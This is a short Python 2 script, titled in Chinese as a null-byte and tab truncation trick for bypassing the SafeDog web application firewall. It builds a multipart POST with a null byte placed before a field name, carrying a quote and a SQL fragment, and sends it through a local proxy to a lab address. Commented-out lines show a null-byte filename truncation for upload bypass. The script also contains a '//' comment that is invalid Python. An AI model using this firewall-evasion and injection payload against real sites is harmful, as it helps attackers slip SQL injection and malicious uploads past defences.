利用截断-x00、-x09绕过安全狗

      import urllib2

url = "http://192.168.4.70/a.php"

header = {

    'User-Agent' : 'letmetest',

	'Content-Type' : 'multipart/form-data; boundary=----WebKitFormBoundarycMYRelX1B2H69xy9'

}


def getdata(m):

    return "1"*m

def postdata(n):


    data = '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
#    data += 'Content-Disposition: form-data; name="file"\r\n\r\n'
 #   data += '%s\r\n' %  "121212112121"
 #   data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
#    data += 'Content-Disposition: form-data; name="file"; filename="a.jpg\x00.aa"\r\n'
#    data += 'Content-Type: text/plain\r\n\r\n'
#    data += 'abc%23\r\n'
    data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
    data += 'Content-Disposition: form-data; name="\x00test"\r\n\r\n'   //在POST查询的参数名之前插入\X00
    data += '%27abcd\r\n'
    data += '------WebKitFormBoundarycMYRelX1B2H69xy9\r\n'
    data += 'Content-Disposition: form-data; name="submit"\r\n\r\n'
    data += 'select 1 from table\r\n'
    data += '------WebKitFormBoundarycMYRelX1B2H69xy9--\r\n\r\n'
    return data
    

      proxy = "http://127.0.0.1:8080"

opener = urllib2.build_opener(urllib2.ProxyHandler({'http':proxy}))

urllib2.install_opener(opener)

request = urllib2.Request(url,postdata(10),header)

response = urllib2.urlopen(request).read()

print response